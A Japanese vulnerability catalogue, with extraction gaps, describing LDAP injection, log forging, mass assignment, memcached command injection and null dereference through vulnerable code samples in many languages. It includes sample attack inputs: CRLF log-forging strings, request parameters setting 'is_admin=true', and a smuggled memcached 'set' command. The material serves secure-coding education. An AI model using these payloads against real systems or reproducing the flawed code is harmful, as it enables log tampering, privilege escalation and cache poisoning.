条件の追加により、ディレクトリにあるすべてのエントリに対してフィルタが一致することになり、攻撃者はユーザーのプール全体に関する情報を取得できるようになります。LDAP クエリが実行されるときの許可によって、攻撃の範囲は限定される場合がありますが、攻撃者がクエリのコマンド構造を制御できる場合、この問題を利用する攻撃により少なくとも LDAP クエリを実行するユーザーがアクセスできるすべてのレコードが影響を受ける場合があります。ou
文字列を、HTTP リクエストから出された非表示フィールドから読み込んで、その文字列を新しい DirectoryEntry
を作成するために使用します。
...
de = new DirectoryEntry("LDAP://ad.example.com:389/ou="
+ hiddenOU.Text + ",dc=example,dc=com");
...
ou
値を指定することでクエリの結果を改変できる場合があります。これは、現在のユーザーが読み取りを許可されている従業員レコードだけしか後続のクエリがアクセスできないように制限するために必要な Access Control メカニズムを開発者が活用していない問題です。dn
文字列をソケットから読み込んで、LDAP クエリの実行に使用します。
...
rc = ldap_simple_bind_s( ld, NULL, NULL );
if ( rc != LDAP_SUCCESS ) {
...
}
...
fgets(dn, sizeof(dn), socket);
if ( ( rc = ldap_search_ext_s( ld, dn, LDAP_SCOPE_BASE,
filter, NULL, 0, NULL, NULL, LDAP_NO_LIMIT,
LDAP_NO_LIMIT, &result ) ) != LDAP_SUCCESS ) {
...
dn
文字列を指定することでクエリの結果を改変できる場合があります。これは、現在のユーザーが読み取りを許可されている従業員レコードだけしか後続のクエリがアクセスできないように制限するために必要な Access Control メカニズムを開発者が活用していない問題です。
env.put(Context.SECURITY_AUTHENTICATION, "none");
DirContext ctx = new InitialDirContext(env);
String empID = request.getParameter("empID");
try
{
BasicAttribute attr = new BasicAttribute("empID", empID);
NamingEnumeration employee =
ctx.search("ou=People,dc=example,dc=com",attr);
...
dn
文字列をソケットから読み込んで、LDAP クエリの実行に使用します。
$dn = $_POST['dn'];
if (ldap_bind($ds)) {
...
try {
$rs = ldap_search($ds, $dn, "ou=People,dc=example,dc=com", $attr);
...
dn
はユーザー入力を起点としており、クエリは匿名バインドで実行されるため、攻撃者は予期せぬ dn 文字列を指定することでクエリの結果を改変できる場合があります。これは、現在のユーザーが読み取りを許可されている従業員レコードだけしか後続のクエリがアクセスできないように制限するために必要な Access Control メカニズムを開発者が活用していない問題です。
...
DATA log_msg TYPE bal_s_msg.
val = request->get_form_field( 'val' ).
log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.
CALL FUNCTION 'BAL_LOG_MSG_ADD'
EXPORTING
I_S_MSG = log_msg
EXCEPTIONS
LOG_NOT_FOUND = 1
MSG_INCONSISTENT = 2
LOG_IS_FULL = 3
OTHERS = 4.
...
val
として「FOO
」という文字列を送信すると、以下のエントリが記録されます。
XY E 123 VAL: FOO
FOO XY E 124 VAL: BAR
」という文字列を送信すると、以下のエントリが記録されます。
XY E 123 VAL: FOO XY E 124 VAL: BAR
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
trace("Failed to parse val = " + val);
}
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
Failed to parse val=twenty-one
User logged out=badguy
...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
syslog(LOG_INFO,"Illegal value = %s",val);
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
01 LOGAREA.
05 VALHEADER PIC X(50) VALUE 'VAL: '.
05 VAL PIC X(50).
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(VAL)
...
END-EXEC.
EXEC DLI
LOG
FROM(LOGAREA)
LENGTH(50)
END-EXEC.
...
VAL
として「FOO
」という文字列を送信すると、以下のエントリが記録されます。
VAL: FOO
FOO VAL: BAR
」という文字列を送信すると、以下のエントリが記録されます。
VAL: FOO VAL: BAR
<cflog file="app_log" application="No" Thread="No"
text="Failed to parse val="#Form.val#">
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22
」という文字列を送信すると、以下のエントリが記録されます。
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
"Information",,"02/28/01","14:53:40",,"User logged out: badguy"
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
name := r.FormValue("name")
logout := r.FormValue("logout")
...
if (logout){
...
} else {
log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
}
}
logout
として「twenty-one
」という文字列を送信すると、「admin
」という名前のユーザーを作成でき、以下のエントリが記録されます。
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
」というユーザー名を作成できる場合、以下のエントリが記録されます。
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
を応用しています。
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.log("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val = twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
NSLog("Illegal value = %s",val);
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Illegal value=twenty-one
INFO: User logged out=evil
<?php
$name =$_GET['name'];
...
$logout =$_GET['logout'];
if(is_numeric($logout))
{
...
}
else
{
trigger_error("Attempt to log out: name: $name logout: $val");
}
?>
logout
として「twenty-one
」という文字列を送信すると、「admin
」という名前のユーザーを作成でき、以下のエントリが記録されます。
PHP Notice: Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
」というユーザー名を作成できる場合、以下のエントリが記録されます。
PHP Notice: Attempt to log out: name: admin logout: 1 logout: twenty-one
name = req.field('name')
...
logout = req.field('logout')
if (logout):
...
else:
logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))
logout
として「twenty-one
」という文字列を送信すると、「admin
」という名前のユーザーを作成でき、以下のエントリが記録されます。
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
」というユーザー名を作成できる場合、以下のエントリが記録されます。
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
val = req['val']
unless val.respond_to?(:to_int)
logger.info("Failed to parse val")
logger.info(val)
end
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val
INFO: twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val
INFO: twenty-one
INFO: User logged out=badguy
...
let num = Int(param)
if num == nil {
NSLog("Illegal value = %@", param)
}
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Illegal value = twenty-one
twenty-one\n\nINFO: User logged out=evil
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
Set Value = Val
Else
App.EventLog "Failed to parse val=" & Val, 1
End If
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
Failed to parse val=twenty-one
twenty-one%0a%0a+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
Failed to parse val=twenty-one
User logged out=badguy
@HttpGet
global static void doGet() {
RestRequest req = RestContext.request;
String val = req.params.get('val');
try {
Integer i = Integer.valueOf(val);
...
} catch (TypeException e) {
System.Debug(LoggingLevel.INFO, 'Failed to parse val: '+val);
}
}
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
Failed to parse val: twenty-one
twenty-one%0a%0aUser+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
Failed to parse val: twenty-one
User logged out=badguy
...
String val = request.Params["val"];
try {
int value = Int.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val = " + val);
}
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
を応用しています。
...
String val = this.Intent.Extras.GetString("val");
try {
int value = Int.Parse(val);
}
catch (FormatException fe) {
Log.E(TAG, "Failed to parse val = " + val);
}
...
...
var idValue string
idValue = req.URL.Query().Get("id")
num, err := strconv.Atoi(idValue)
if err != nil {
sysLog.Debug("Failed to parse value: " + idValue)
}
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
を応用しています。
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.error("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
...
val = request.GET["val"]
try:
int_value = int(val)
except:
logger.debug("Failed to parse val = " + val)
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
...
val = req['val']
unless val.respond_to?(:to_int)
logger.debug("Failed to parse val")
logger.debug(val)
end
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
DEBUG: Failed to parse val
DEBUG: twenty-one
twenty-one%0a%DEBUG:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
DEBUG: Failed to parse val
DEBUG: twenty-one
DEBUG: User logged out=badguy
RegisterModel
または Details
クラス内の属性にバインドします。
public ActionResult Register(RegisterModel model)
{
if (ModelState.IsValid)
{
try
{
return RedirectToAction("Index", "Home");
}
catch (MembershipCreateUserException e)
{
ModelState.AddModelError("", "");
}
}
return View(model);
}
RegisterModel
クラスは次のように定義されます。
public class RegisterModel
{
[BindRequired]
[Display(Name = "User name")]
public string UserName { get; set; }
[BindRequired]
[DataType(DataType.Password)]
[Display(Name = "Password")]
public string Password { get; set; }
[DataType(DataType.Password)]
[Display(Name = "Confirm password")]
public string ConfirmPassword { get; set; }
public Details Details { get; set; }
public RegisterModel()
{
Details = new Details();
}
}
Details
クラスは次のように定義されます。例 2:
public class Details
{
public bool IsAdmin { get; set; }
...
}
TryUpdateModel()
または UpdateModel()
を ASP.NET MVC または Web API アプリケーションで使用するとき、モデル バインダーはデフォルトで、自動的にすべての HTTP リクエスト パラメーターをバインドするように試みます。例 3: ASP.NET Web Form アプリケーションでは、モデル バインダーは、IValueProvider インターフェイスで
public ViewResult Register()
{
var model = new RegisterModel();
TryUpdateModel<RegisterModel>(model);
return View("detail", model);
}
TryUpdateModel()
または UpdateModel()
を使用する際にすべての HTTP リクエスト パラメーターを自動的にバインドしようとします。
Employee emp = new Employee();
TryUpdateModel(emp, new System.Web.ModelBinding.FormValueProvider(ModelBindingExecutionContext));
if (ModelState.IsValid)
{
db.SaveChanges();
}
Employee
クラスは次のように定義されます。
public class Employee
{
public Employee()
{
IsAdmin = false;
IsManager = false;
}
public string Name { get; set; }
public string Email { get; set; }
public bool IsManager { get; set; }
public bool IsAdmin { get; set; }
}
Booking
クラスの任意の属性にバインドします。
<view-state id="enterBookingDetails" model="booking">
<on-render>
<render fragments="body" />
</on-render>
<transition on="proceed" to="reviewBooking">
</transition>
<transition on="cancel" to="cancel" bind="false" />
</view-state>
Booking
クラスは次のように定義されます。
public class Booking implements Serializable {
private Long id;
private User user;
private Hotel hotel;
private Date checkinDate;
private Date checkoutDate;
private String creditCard;
private String creditCardName;
private int creditCardExpiryMonth;
private int creditCardExpiryYear;
private boolean smoking;
private int beds;
private Set<Amenity> amenities;
// Public Getters and Setters
...
}
Order
、Customer
、および Profile
は、Microsoft .NET Entity の永続的なクラスです。
public class Order {
public string ordered { get; set; }
public List<LineItem> LineItems { get; set; }
pubilc virtual Customer Customer { get; set; }
...
}
public class Customer {
public int CustomerId { get; set; }
...
public virtual Profile Profile { get; set; }
...
}
public class Profile {
public int profileId { get; set; }
public string username { get; set; }
public string password { get; set; }
...
}
OrderController
は、リクエストを処理する ASP.NET MVC コントローラーのクラスです。
public class OrderController : Controller{
StoreEntities db = new StoreEntities();
...
public String updateOrder(Order order) {
...
db.Orders.Add(order);
db.SaveChanges();
}
}
Order
、Customer
、および Profile
は、Hibernate の永続的なクラスです。
public class Order {
String ordered;
List lineItems;
Customer cust;
...
}
public class Customer {
String customerId;
...
Profile p;
...
}
public class Profile {
String profileId;
String username;
String password;
...
}
OrderController
は、リクエストを処理する Spring コントローラのクラスです。
@Controller
public class OrderController {
...
@RequestMapping("/updateOrder")
public String updateOrder(Order order) {
...
session.save(order);
}
}
[FromBody]
アノテーションが使用されている場合は入力フォーマッタに依存します。[FromBody]
アノテーションがアクションの複合パラメーターに適用されると、パラメーターの型またはいずれかのフィールドに適用される [Bind]
や [BindNever]
などのその他のバインディング属性は事実上無視されるため、バインディング アノテーションを使用した緩和策は不可能になります。[FromBody]
アノテーションがアクションのパラメーターに適用されると、モデル バインダーは入力フォーマッタを使用してリクエストの本文で指定されたすべてのパラメーターを自動的にバインドしようとします。デフォルトでは、バインダーは JSON 入力フォーマッタを使用して、リクエストの本文から取得できるすべてのパラメーターをバインドしようとします。
[HttpPost]
public ActionResult Create([FromBody] Product p)
{
return View(p.Name);
}
[FromBody]
アノテーションが存在する場合は入力フォーマッタが使用されるため、後続の Product
型に適用される [Bind]
や [BindNever]
などのバインディング アノテーションは無視されることに注意してください。
public class Product
{
...
public string Name { get; set; }
public bool IsAdmin { get; set; }
...
}
Register
) が、ユーザーに名前とパスワードを入力してアカウントを登録することを求める Web フォームからアクセスされました。
public ActionResult Register(RegisterModel model)
{
if (ModelState.IsValid)
{
try
{
return RedirectToAction("Index", "Home");
}
catch (MembershipCreateUserException e)
{
ModelState.AddModelError("", "");
}
}
return View(model);
}
RegisterModel
クラスは次のように定義されます。
public class RegisterModel
{
[BindRequired]
[Display(Name = "User name")]
public string UserName { get; set; }
[BindRequired]
[DataType(DataType.Password)]
[Display(Name = "Password")]
public string Password { get; set; }
[DataType(DataType.Password)]
[Display(Name = "Confirm password")]
public string ConfirmPassword { get; set; }
public Details Details { get; set; }
public RegisterModel()
{
Details = new Details();
}
}
Details
クラスは次のように定義されます。
public class Details
{
public bool IsAdmin { get; set; }
...
}
Example 1
のシナリオの場合、攻撃者がアプリケーションを調べて、RegisterModel
モデル内に Details
属性があることを発見する可能性があります。その場合、攻撃者が、属性に割り当てられた現在の値を上書きしようとする可能性があります。
name=John&password=****&details.is_admin=true
<struts-config>
<form-beans>
<form-bean name="dynaUserForm"
type="org.apache.struts.action.DynaActionForm" >
<form-property name="type" type="java.lang.String" />
<form-property name="user" type="com.acme.common.User" />
</form-bean>
...
User
クラスは次のように定義されます。
public class User {
private String name;
private String lastname;
private int age;
private Details details;
// Public Getters and Setters
...
}
Details
クラスは次のように定義されます。
public class Details {
private boolean is_admin;
private int id;
private Date login_date;
// Public Getters and Setters
...
}
Example 1
のシナリオの場合、攻撃者がアプリケーションを調べて、User
モデル内に details
属性があることを発見する可能性があります。その場合、攻撃者が、属性に割り当てられた現在の値を上書きしようとする可能性があります。
type=free&user.name=John&user.lastname=Smith&age=22&details.is_admin=true
...
TextClient tc = (TextClient)Client.GetInstance("127.0.0.1", 11211, MemcachedFlags.TextProtocol);
tc.Open();
string id = txtID.Text;
var result = get_page_from_somewhere();
var response = Http_Response(result);
tc.Set("req-" + id, response, TimeSpan.FromSeconds(1000));
tc.Close();
tc = null;
...
set req-1233 0 1000 n
<serialized_response_instance>
n
は応答の長さです。ignore 0 0 1\r\n1\r\nset injected 0 3600 10\r\n0123456789\r\nset req-
を送信できます。その後、操作は次のようになります。
set req-ignore 0 0 1
1
set injected 0 3600 10
0123456789
set req-1233 0 0 n
<serialized_response_instance>
injected=0123456789
に新しい鍵/値のペアを追加するので、攻撃者はキャッシュを悪用できます。
...
def store(request):
id = request.GET['id']
result = get_page_from_somewhere()
response = HttpResponse(result)
cache_time = 1800
cache.set("req-" % id, response, cache_time)
return response
...
set req-1233 0 0 n
<serialized_response_instance>
ignore 0 0 1\r\n1\r\nset injected 0 3600 10\r\n0123456789\r\nset req-
を送信できます。その後、操作は次のようになります。
set req-ignore 0 0 1
1
set injected 0 3600 10
0123456789
set req-1233 0 0 n
<serialized_response_instance>
injected=0123456789
に鍵と値の新しいペアを追加します。ペイロードにもよりますが、攻撃者はキャッシュをポイズニングしたり、Pickle でシリアライズしたペイロードを挿入し、デシリアライゼーションのときに任意にコードを実行したりできます。null
を戻すことがある関数の戻り値を確認しないため、NULL ポインタを間接参照する場合があります。Item
プロパティによって戻される文字列が null
かどうかを、メンバー関数 Equals()
をコールする前にチェックしないので、null
Dereference の原因になる可能性があります。
string itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
...
}
...
null
値を間接参照してプログラムが異常終了するのにまかせても同じことです。」null
を返すことがある関数の戻り値を確認しないため、NULL ポインタを間接参照する場合があります。malloc()
で戻されたポインタを使用する前に、メモリの割り当てが正しく行われたかチェックしていません。
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
malloc()
のコールが失敗に終わった理由が、req_size
の超過によるものか、許容範囲外の同時処理によるものか定かではありません。時間の経過とともに蓄積された Memory Leak によるものかも不明です。エラー処理を怠ると、原因を究明する術はありません。null
を返すことがある関数の戻り値を確認しないため、NULL ポインタを間接参照する場合があります。getParameter()
によって戻される文字列が null
かどうかを、メンバー関数 compareTo()
をコールする前にチェックしないので、null
Dereference の原因になる可能性があります。例 2:次のコードは、
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
...
}
...
null
に設定され、それが「常に定義される」という誤った前提でプログラマによって後から間接参照されるシステムプロパティを示します。
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95") )
System.out.println("Not supported");
null
値を間接参照してプログラムが異常終了するのにまかせても同じことです。」